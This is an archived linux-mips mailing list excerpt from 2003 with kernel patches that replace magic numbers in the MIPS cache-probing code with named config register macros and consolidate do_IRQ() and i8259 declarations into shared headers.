--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/mm/c-r4k.c	2003-04-14 02:57:00.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips64/mm/c-r4k.c	2003-04-15 08:08:38.000000000 +0000
@@ -673,6 +673,7 @@ static void __init probe_pcache(void)
 {
 	struct cpuinfo_mips *c = &current_cpu_data;
 	unsigned int config = read_c0_config();
+	unsigned int prid = read_c0_prid();
 	unsigned long config1;
 	unsigned int lsize;
 
@@ -681,38 +682,38 @@ static void __init probe_pcache(void)
 	case CPU_R4700:
 	case CPU_R5000:
 	case CPU_NEVADA:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 2;
 		c->icache.waybit = ffs(icache_size/2) - 1;
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 2;
 		c->dcache.waybit= ffs(dcache_size/2) - 1;
 		break;
 
 	case CPU_R5432:
 	case CPU_R5500:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 2;
 		c->icache.waybit= 0;
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 2;
 		c->dcache.waybit = 0;
 		break;
 
 	case CPU_TX49XX:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 4;
 		c->icache.waybit= 0;
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 4;
 		c->dcache.waybit = 0;
 		break;
@@ -723,25 +724,25 @@ static void __init probe_pcache(void)
 	case CPU_R4400PC:
 	case CPU_R4400SC:
 	case CPU_R4400MC:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 1;
 		c->icache.waybit = 0; 	/* doesn't matter */
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 1;
 		c->dcache.waybit = 0;	/* does not matter */
 		break;
 
 	case CPU_VR4131:
-		icache_size = 1 << (10 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (10 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 2;
 		c->icache.waybit = ffs(icache_size/2) - 1;
 
-		dcache_size = 1 << (10 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (10 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 2;
 		c->dcache.waybit = ffs(dcache_size/2) - 1;
 		break;
@@ -752,19 +753,19 @@ static void __init probe_pcache(void)
 	case CPU_VR4122:
 	case CPU_VR4181:
 	case CPU_VR4181A:
-		icache_size = 1 << (10 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (10 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 1;
 		c->icache.waybit = 0; 	/* doesn't matter */
 
-		dcache_size = 1 << (10 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (10 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 1;
 		c->dcache.waybit = 0;	/* does not matter */
 		break;
 
 	default:
-		if (!(config & 0x80000000))
+		if (!(config & MIPS_CONF_M))
 			panic("Don't know how to probe P-caches on this cpu.");
 
 		/*
@@ -803,16 +804,17 @@ static void __init probe_pcache(void)
 	}
 
 	/*
-	 * Processor configuration sanity check for the R4000SC V2.2
-	 * erratum #5.  With pagesizes larger than 32kb there is no possibility
+	 * Processor configuration sanity check for the R4000SC erratum
+	 * #5.  With page sizes larger than 32kB there is no possibility
 	 * to get a VCE exception anymore so we don't care about this
-	 * missconfiguration.  The case is rather theoretical anway; presumably
-	 * no vendor is shipping his hardware in the "bad" configuration.
+	 * misconfiguration.  The case is rather theoretical anyway;
+	 * presumably no vendor is shipping his hardware in the "bad"
+	 * configuration.
 	 */
-	if (PAGE_SIZE <= 0x8000 && read_c0_prid() == 0x0422 &&
-	    (read_c0_config() & CONF_SC) &&
-	     c->icache.linesz != 16)
-		panic("Impropper processor configuration detected");
+	if ((prid & 0xff00) == PRID_IMP_R4000 && (prid & 0xff) < 0x40 &&
+	    !(config & CONF_SC) && c->icache.linesz != 16 &&
+	    PAGE_SIZE <= 0x8000)
+		panic("Improper R4000SC processor configuration detected");
 
 	/* compute a couple of other cache variables */
 	icache_way_size = icache_size / c->icache.ways;
@@ -840,12 +842,12 @@ static void __init probe_pcache(void)
 		break;
 	}
 
-	printk("Primary instruction cache %ldkb, %s, %s, linesize %d bytes\n",
+	printk("Primary instruction cache %ldkB, %s, %s, linesize %d bytes.\n",
 	       icache_size >> 10,
 	       cpu_has_vtag_icache ? "virtually tagged" : "physically tagged",
 	       way_string[c->icache.ways], c->icache.linesz);
 
-	printk("Primary data cache %ldkb %s, linesize %d bytes\n",
+	printk("Primary data cache %ldkB %s, linesize %d bytes.\n",
 	       dcache_size >> 10, way_string[c->dcache.ways], c->dcache.linesz);
 }
 
@@ -862,10 +864,10 @@ static int __init probe_scache(void)
 	unsigned int config = read_c0_config();
 	int tmp;
 
-	if ((config >> 17) & 1)
+	if (config & CONF_SC)
 		return 0;
 
-	sc_lsize = 16 << ((config >> 22) & 3);
+	sc_lsize = 16 << ((config & R4K_CONF_SB) >> 22);
 
 	begin = (unsigned long) &stext;
 	begin &= ~((4 * 1024 * 1024) - 1);
@@ -905,7 +907,7 @@ static int __init probe_scache(void)
 	}
 	local_irq_restore(flags);
 	addr -= begin;
-	printk("Secondary cache sized at %ldK, linesize %ld bytes.\n",
+	printk("Secondary cache sized at %ldkB, linesize %ld bytes.\n",
 	       addr >> 10, sc_lsize);
 	scache_size = addr;
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/mm/r5k-sc.c linux-mips-2.4.21-pre4-20030414/arch/mips64/mm/r5k-sc.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/mm/r5k-sc.c	2003-03-25 03:56:43.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips64/mm/r5k-sc.c	2003-04-15 00:01:42.000000000 +0000
@@ -69,7 +69,7 @@ static void r5k_sc_enable(void)
         unsigned long flags;
 
 	local_irq_save(flags);
-	change_c0_config(CONF_SE, CONF_SE);
+	change_c0_config(R5K_CONF_SE, R5K_CONF_SE);
 	blast_r5000_scache();
 	local_irq_restore(flags);
 }
@@ -80,7 +80,7 @@ static void r5k_sc_disable(void)
 
 	local_irq_save(flags);
 	blast_r5000_scache();
-	change_c0_config(CONF_SE, 0);
+	change_c0_config(R5K_CONF_SE, 0);
 	local_irq_restore(flags);
 }
 
@@ -88,12 +88,12 @@ static inline int __init r5k_sc_probe(vo
 {
 	unsigned long config = read_c0_config();
 
-	if(config & CONF_SC)
+	if (config & CONF_SC)
 		return(0);
 
-	scache_size = (512*1024) << ((config >> 20)&3);
+	scache_size = (512 * 1024) << ((config & R5K_CONF_SS) >> 20);
 
-	printk("R5000 SCACHE size %ldK, linesize 32 bytes.\n",
+	printk("R5000 SCACHE size %ldkB, linesize 32 bytes.\n",
 			scache_size >> 10);
 
 	return 1;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips/mipsregs.h linux-mips-2.4.21-pre4-20030414/include/asm-mips/mipsregs.h
--- linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips/mipsregs.h	2003-04-13 21:53:14.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/include/asm-mips/mipsregs.h	2003-04-14 23:29:24.000000000 +0000
@@ -128,7 +128,7 @@
  * E the exception enable
  * S the sticky/flag bit
 */
-#define FPU_CSR_ALL_X 0x0003f000
+#define FPU_CSR_ALL_X   0x0003f000
 #define FPU_CSR_UNI_X   0x00020000
 #define FPU_CSR_INV_X   0x00010000
 #define FPU_CSR_DIV_X   0x00008000
@@ -373,8 +373,9 @@
 #define  CAUSEF_BD		(_ULCAST_(1)   << 31)
 
 /*
- * Bits in the coprozessor 0 config register.
+ * Bits in the coprocessor 0 config register.
  */
+/* Generic bits.  */
 #define CONF_CM_CACHABLE_NO_WA		0
 #define CONF_CM_CACHABLE_WA		1
 #define CONF_CM_UNCACHED		2
@@ -384,22 +385,73 @@
 #define CONF_CM_CACHABLE_CUW		6
 #define CONF_CM_CACHABLE_ACCELERATED	7
 #define CONF_CM_CMASK			7
+#define CONF_BE			(_ULCAST_(1) << 15)
+
+/* Bits common to various processors.  */
 #define CONF_CU			(_ULCAST_(1) <<  3)
 #define CONF_DB			(_ULCAST_(1) <<  4)
 #define CONF_IB			(_ULCAST_(1) <<  5)
-#define CONF_SE			(_ULCAST_(1) << 12)
+#define CONF_DC			(_ULCAST_(7) <<  6)
+#define CONF_IC			(_ULCAST_(7) <<  9)
+#define CONF_EB			(_ULCAST_(1) << 13)
+#define CONF_EM			(_ULCAST_(1) << 14)
+#define CONF_SM			(_ULCAST_(1) << 16)
 #define CONF_SC			(_ULCAST_(1) << 17)
-#define CONF_AC			(_ULCAST_(1) << 23)
-#define CONF_HALT		(_ULCAST_(1) << 25)
+#define CONF_EW			(_ULCAST_(3) << 18)
+#define CONF_EP			(_ULCAST_(15)<< 24)
+#define CONF_EC			(_ULCAST_(7) << 28)
+#define CONF_CM			(_ULCAST_(1) << 31)
+
+/* Bits specific to the R4xx0.  */
+#define R4K_CONF_SW		(_ULCAST_(1) << 20)
+#define R4K_CONF_SS		(_ULCAST_(1) << 21)
+#define R4K_CONF_SB		(_ULCAST_(3) << 22)
+
+/* Bits specific to the R5000.  */
+#define R5K_CONF_SE		(_ULCAST_(1) << 12)
+#define R5K_CONF_SS		(_ULCAST_(3) << 20)
+
+/* Bits specific to the R10000.  */
+#define R10K_CONF_DN		(_ULCAST_(3) <<  3)
+#define R10K_CONF_CT		(_ULCAST_(1) <<  5)
+#define R10K_CONF_PE		(_ULCAST_(1) <<  6)
+#define R10K_CONF_PM		(_ULCAST_(3) <<  7)
+#define R10K_CONF_EC		(_ULCAST_(15)<<  9)
+#define R10K_CONF_SB		(_ULCAST_(1) << 13)
+#define R10K_CONF_SK		(_ULCAST_(1) << 14)
+#define R10K_CONF_SS		(_ULCAST_(7) << 16)
+#define R10K_CONF_SC		(_ULCAST_(7) << 19)
+#define R10K_CONF_DC		(_ULCAST_(7) << 26)
+#define R10K_CONF_IC		(_ULCAST_(7) << 29)
+
+/* Bits specific to the VR41xx.  */
+#define VR41_CONF_CS		(_ULCAST_(1) << 12)
+#define VR41_CONF_M16		(_ULCAST_(1) << 20)
+#define VR41_CONF_AD		(_ULCAST_(1) << 23)
+
+/* Bits specific to the R30xx.  */
+#define R30XX_CONF_FDM		(_ULCAST_(1) << 19)
+#define R30XX_CONF_REV		(_ULCAST_(1) << 22)
+#define R30XX_CONF_AC		(_ULCAST_(1) << 23)
+#define R30XX_CONF_RF		(_ULCAST_(1) << 24)
+#define R30XX_CONF_HALT		(_ULCAST_(1) << 25)
+#define R30XX_CONF_FPINT	(_ULCAST_(7) << 26)
+#define R30XX_CONF_DBR		(_ULCAST_(1) << 29)
+#define R30XX_CONF_SB		(_ULCAST_(1) << 30)
+#define R30XX_CONF_LOCK		(_ULCAST_(1) << 31)
 
-/*
- * Bits in the TX49 coprozessor 0 config register.
- */
+/* Bits specific to the TX49.  */
 #define TX49_CONF_DC		(_ULCAST_(1) << 16)
 #define TX49_CONF_IC		(_ULCAST_(1) << 17)  /* conflict with CONF_SC */
 #define TX49_CONF_HALT		(_ULCAST_(1) << 18)
 #define TX49_CONF_CWFON		(_ULCAST_(1) << 27)
 
+/* Bits specific to the MIPS32/64 PRA.  */
+#define MIPS_CONF_MT		(_ULCAST_(7) <<  7)
+#define MIPS_CONF_AR		(_ULCAST_(7) << 10)
+#define MIPS_CONF_AT		(_ULCAST_(3) << 13)
+#define MIPS_CONF_M		(_ULCAST_(1) << 31)
+
 /*
  * R10000 performance counter definitions.
  *
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips64/mipsregs.h linux-mips-2.4.21-pre4-20030414/include/asm-mips64/mipsregs.h
--- linux-mips-2.4.21-pre4-20030414.macro/include/asm-mips64/mipsregs.h	2003-04-13 18:48:34.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/include/asm-mips64/mipsregs.h	2003-04-14 23:29:24.000000000 +0000
@@ -128,7 +128,7 @@
  * E the exception enable
  * S the sticky/flag bit
 */
-#define FPU_CSR_ALL_X 0x0003f000
+#define FPU_CSR_ALL_X   0x0003f000
 #define FPU_CSR_UNI_X   0x00020000
 #define FPU_CSR_INV_X   0x00010000
 #define FPU_CSR_DIV_X   0x00008000
@@ -373,8 +373,9 @@
 #define  CAUSEF_BD		(_ULCAST_(1)   << 31)
 
 /*
- * Bits in the coprozessor 0 config register.
+ * Bits in the coprocessor 0 config register.
  */
+/* Generic bits.  */
 #define CONF_CM_CACHABLE_NO_WA		0
 #define CONF_CM_CACHABLE_WA		1
 #define CONF_CM_UNCACHED		2
@@ -384,22 +385,73 @@
 #define CONF_CM_CACHABLE_CUW		6
 #define CONF_CM_CACHABLE_ACCELERATED	7
 #define CONF_CM_CMASK			7
+#define CONF_BE			(_ULCAST_(1) << 15)
+
+/* Bits common to various processors.  */
 #define CONF_CU			(_ULCAST_(1) <<  3)
 #define CONF_DB			(_ULCAST_(1) <<  4)
 #define CONF_IB			(_ULCAST_(1) <<  5)
-#define CONF_SE			(_ULCAST_(1) << 12)
+#define CONF_DC			(_ULCAST_(7) <<  6)
+#define CONF_IC			(_ULCAST_(7) <<  9)
+#define CONF_EB			(_ULCAST_(1) << 13)
+#define CONF_EM			(_ULCAST_(1) << 14)
+#define CONF_SM			(_ULCAST_(1) << 16)
 #define CONF_SC			(_ULCAST_(1) << 17)
-#define CONF_AC			(_ULCAST_(1) << 23)
-#define CONF_HALT		(_ULCAST_(1) << 25)
+#define CONF_EW			(_ULCAST_(3) << 18)
+#define CONF_EP			(_ULCAST_(15)<< 24)
+#define CONF_EC			(_ULCAST_(7) << 28)
+#define CONF_CM			(_ULCAST_(1) << 31)
+
+/* Bits specific to the R4xx0.  */
+#define R4K_CONF_SW		(_ULCAST_(1) << 20)
+#define R4K_CONF_SS		(_ULCAST_(1) << 21)
+#define R4K_CONF_SB		(_ULCAST_(3) << 22)
+
+/* Bits specific to the R5000.  */
+#define R5K_CONF_SE		(_ULCAST_(1) << 12)
+#define R5K_CONF_SS		(_ULCAST_(3) << 20)
+
+/* Bits specific to the R10000.  */
+#define R10K_CONF_DN		(_ULCAST_(3) <<  3)
+#define R10K_CONF_CT		(_ULCAST_(1) <<  5)
+#define R10K_CONF_PE		(_ULCAST_(1) <<  6)
+#define R10K_CONF_PM		(_ULCAST_(3) <<  7)
+#define R10K_CONF_EC		(_ULCAST_(15)<<  9)
+#define R10K_CONF_SB		(_ULCAST_(1) << 13)
+#define R10K_CONF_SK		(_ULCAST_(1) << 14)
+#define R10K_CONF_SS		(_ULCAST_(7) << 16)
+#define R10K_CONF_SC		(_ULCAST_(7) << 19)
+#define R10K_CONF_DC		(_ULCAST_(7) << 26)
+#define R10K_CONF_IC		(_ULCAST_(7) << 29)
+
+/* Bits specific to the VR41xx.  */
+#define VR41_CONF_CS		(_ULCAST_(1) << 12)
+#define VR41_CONF_M16		(_ULCAST_(1) << 20)
+#define VR41_CONF_AD		(_ULCAST_(1) << 23)
+
+/* Bits specific to the R30xx.  */
+#define R30XX_CONF_FDM		(_ULCAST_(1) << 19)
+#define R30XX_CONF_REV		(_ULCAST_(1) << 22)
+#define R30XX_CONF_AC		(_ULCAST_(1) << 23)
+#define R30XX_CONF_RF		(_ULCAST_(1) << 24)
+#define R30XX_CONF_HALT		(_ULCAST_(1) << 25)
+#define R30XX_CONF_FPINT	(_ULCAST_(7) << 26)
+#define R30XX_CONF_DBR		(_ULCAST_(1) << 29)
+#define R30XX_CONF_SB		(_ULCAST_(1) << 30)
+#define R30XX_CONF_LOCK		(_ULCAST_(1) << 31)
 
-/*
- * Bits in the TX49 coprozessor 0 config register.
- */
+/* Bits specific to the TX49.  */
 #define TX49_CONF_DC		(_ULCAST_(1) << 16)
 #define TX49_CONF_IC		(_ULCAST_(1) << 17)  /* conflict with CONF_SC */
 #define TX49_CONF_HALT		(_ULCAST_(1) << 18)
 #define TX49_CONF_CWFON		(_ULCAST_(1) << 27)
 
+/* Bits specific to the MIPS32/64 PRA.  */
+#define MIPS_CONF_MT		(_ULCAST_(7) <<  7)
+#define MIPS_CONF_AR		(_ULCAST_(7) << 10)
+#define MIPS_CONF_AT		(_ULCAST_(3) << 13)
+#define MIPS_CONF_M		(_ULCAST_(1) << 31)
+
 /*
  * R10000 performance counter definitions.
  *


From macro@ds2.pg.gda.pl Tue Apr 15 15:15:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 15:15:26 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:17874 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDOOPZ>; Tue, 15 Apr 2003 15:15:25 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id QAA15901;
	Tue, 15 Apr 2003 16:15:48 +0200 (MET DST)
Date: Tue, 15 Apr 2003 16:15:47 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: [patch] do_IRQ() and init_i8259_irqs() declarations
Message-ID: <Pine.GSO.3.96.1030415160755.13254G-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2054
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

Ralf,

 There is a number of private declarations of do_IRQ() and
init_i8259_irqs() scattered through the code.  These for do_IRQ() often
have a different "opinion" on how the function is interfaced... 

 The following patch puts public declarations in appropriate headers and
converts users of these functions to get the prototypes from there
instead.  It also removes various related unused declarations. 

 OK?

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +

patch-mips-2.4.21-pre4-20030414-do_irq-8259A-0
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/au1000/common/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/au1000/common/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/au1000/common/irq.c	2003-03-30 02:56:22.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/au1000/common/irq.c	2003-04-13 18:00:27.000000000 +0000
@@ -28,6 +28,7 @@
  */
 #include <linux/errno.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/kernel_stat.h>
 #include <linux/module.h>
 #include <linux/signal.h>
@@ -96,7 +97,6 @@ static inline void mask_and_ack_fall_edg
 inline void local_enable_irq(unsigned int irq_nr);
 inline void local_disable_irq(unsigned int irq_nr);
 
-extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
 extern void __init init_generic_irq(void);
 
 #ifdef CONFIG_PM
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/cobalt/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/cobalt/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/cobalt/irq.c	2002-12-04 03:56:24.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/cobalt/irq.c	2002-12-18 00:50:36.000000000 +0000
@@ -17,6 +17,7 @@
 #include <linux/ioport.h>
 
 #include <asm/bootinfo.h>
+#include <asm/i8259.h>
 #include <asm/io.h>
 #include <asm/irq.h>
 #include <asm/mipsregs.h>
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/cobalt/via.c linux-mips-2.4.21-pre4-20030414/arch/mips/cobalt/via.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/cobalt/via.c	2003-03-10 03:56:27.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/cobalt/via.c	2003-04-13 18:01:57.000000000 +0000
@@ -10,6 +10,7 @@
  *
  */
 
+#include <linux/irq.h>
 #include <linux/kernel.h>
 
 #include <asm/gt64120.h>
@@ -18,8 +19,6 @@
 
 #include <asm/cobalt/cobalt.h>
 
-extern void do_IRQ(int irq, struct pt_regs * regs);
-
 asmlinkage void via_irq(struct pt_regs *regs)
 {
 	char mstat, sstat;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5074/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5074/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5074/irq.c	2003-02-27 03:56:30.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5074/irq.c	2003-04-13 18:00:29.000000000 +0000
@@ -6,14 +6,15 @@
  */
 #include <linux/config.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/signal.h>
 #include <linux/sched.h>
 #include <linux/types.h>
 #include <linux/interrupt.h>
 #include <linux/ioport.h>
 
+#include <asm/i8259.h>
 #include <asm/io.h>
-#include <asm/irq.h>
 #include <asm/irq_cpu.h>
 #include <asm/ptrace.h>
 #include <asm/nile4.h>
@@ -21,14 +22,7 @@
 #include <asm/ddb5xxx/ddb5074.h>
 
 
-extern void __init i8259_init(void);
-extern void init_i8259_irqs (void);
-extern void i8259_disable_irq(unsigned int irq_nr);
-extern void i8259_enable_irq(unsigned int irq_nr);
-
 extern asmlinkage void ddbIRQ(void);
-extern asmlinkage void i8259_do_irq(int irq, struct pt_regs *regs);
-extern asmlinkage void do_IRQ(int irq, struct pt_regs *regs);
 
 static struct irqaction irq_cascade = { no_action, 0, 0, "cascade", NULL, NULL };
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5476/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5476/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5476/irq.c	2002-08-06 02:57:07.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5476/irq.c	2002-12-18 00:55:01.000000000 +0000
@@ -14,6 +14,7 @@
 #include <linux/types.h>
 #include <linux/interrupt.h>
 
+#include <asm/i8259.h>
 #include <asm/io.h>
 #include <asm/ptrace.h>
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5476/vrc5476_irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5476/vrc5476_irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5476/vrc5476_irq.c	2002-08-06 02:57:07.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5476/vrc5476_irq.c	2002-12-19 17:49:53.000000000 +0000
@@ -12,6 +12,7 @@
  */
 #include <linux/init.h>
 #include <linux/interrupt.h>
+#include <linux/irq.h>
 #include <linux/types.h>
 #include <linux/ptrace.h>
 
@@ -81,7 +82,6 @@ vrc5476_irq_init(u32 base)
 asmlinkage void
 vrc5476_irq_dispatch(struct pt_regs *regs)
 {
-	extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
 	extern void spurious_interrupt(void);
 
 	u32 mask;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5477/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5477/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ddb5xxx/ddb5477/irq.c	2003-02-27 03:56:31.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/ddb5xxx/ddb5477/irq.c	2003-04-13 18:00:29.000000000 +0000
@@ -13,9 +13,11 @@
 #include <linux/config.h>
 #include <linux/init.h>
 #include <linux/interrupt.h>
+#include <linux/irq.h>
 #include <linux/types.h>
 #include <linux/ptrace.h>
 
+#include <asm/i8259.h>
 #include <asm/system.h>
 #include <asm/mipsregs.h>
 #include <asm/debug.h>
@@ -71,7 +73,6 @@ set_pci_int_attr(u32 pci, u32 intn, u32 
 	ddb_out32(pci, reg_value);
 }
 
-extern void init_i8259_irqs (void);
 extern void vrc5477_irq_init(u32 base);
 extern void mips_cpu_irq_init(u32 base);
 extern asmlinkage void ddb5477_handle_int(void);
@@ -164,8 +165,6 @@ u8 i8259_interrupt_ack(void)
 asmlinkage void
 vrc5477_irq_dispatch(struct pt_regs *regs)
 {
-	extern unsigned int do_IRQ(int irq, struct pt_regs *regs);
-
 	u32 intStatus;
 	u32 bitmask;
 	u32 i;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/galileo-boards/ev96100/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/galileo-boards/ev96100/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/galileo-boards/ev96100/irq.c	2002-12-04 03:56:25.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/galileo-boards/ev96100/irq.c	2002-12-19 17:55:31.000000000 +0000
@@ -32,6 +32,7 @@
 #include <linux/errno.h>
 #include <linux/init.h>
 #include <linux/kernel_stat.h>
+#include <linux/irq.h>
 #include <linux/module.h>
 #include <linux/signal.h>
 #include <linux/sched.h>
@@ -45,13 +46,10 @@
 #include <asm/bitops.h>
 #include <asm/bootinfo.h>
 #include <asm/io.h>
-#include <asm/irq.h>
 #include <asm/mipsregs.h>
 #include <asm/system.h>
 #include <asm/galileo-boards/ev96100int.h>
 
-extern asmlinkage unsigned int do_IRQ(int irq, struct pt_regs *regs);
-
 extern void mips_timer_interrupt(int irq, struct pt_regs *regs);
 extern asmlinkage void ev96100IRQ(void);
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ite-boards/generic/irq.c linux-mips-2.4.21-pre4-20030414/arch/mips/ite-boards/generic/irq.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ite-boards/generic/irq.c	2003-02-27 03:56:31.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/ite-boards/generic/irq.c	2003-04-13 18:00:29.000000000 +0000
@@ -36,6 +36,7 @@
 #include <linux/config.h>
 #include <linux/errno.h>
 #include <linux/init.h>
+#include <linux/irq.h>
 #include <linux/kernel_stat.h>
 #include <linux/module.h>
 #include <linux/signal.h>
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ite-boards/generic/time.c linux-mips-2.4.21-pre4-20030414/arch/mips/ite-boards/generic/time.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/ite-boards/generic/time.c	2003-03-26 03:56:34.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/ite-boards/generic/time.c	2003-04-13 18:00:29.000000000 +0000
@@ -37,7 +37,6 @@
 static unsigned long r4k_offset; /* Amount to increment compare reg each time */
 static unsigned long r4k_cur;    /* What counter should be at next timer irq */
 extern unsigned int mips_counter_frequency;
-extern asmlinkage unsigned int do_IRQ(int irq, struct pt_regs *regs);
 
 /*
  * Figure out the r4k offset, the amount to increment the compare
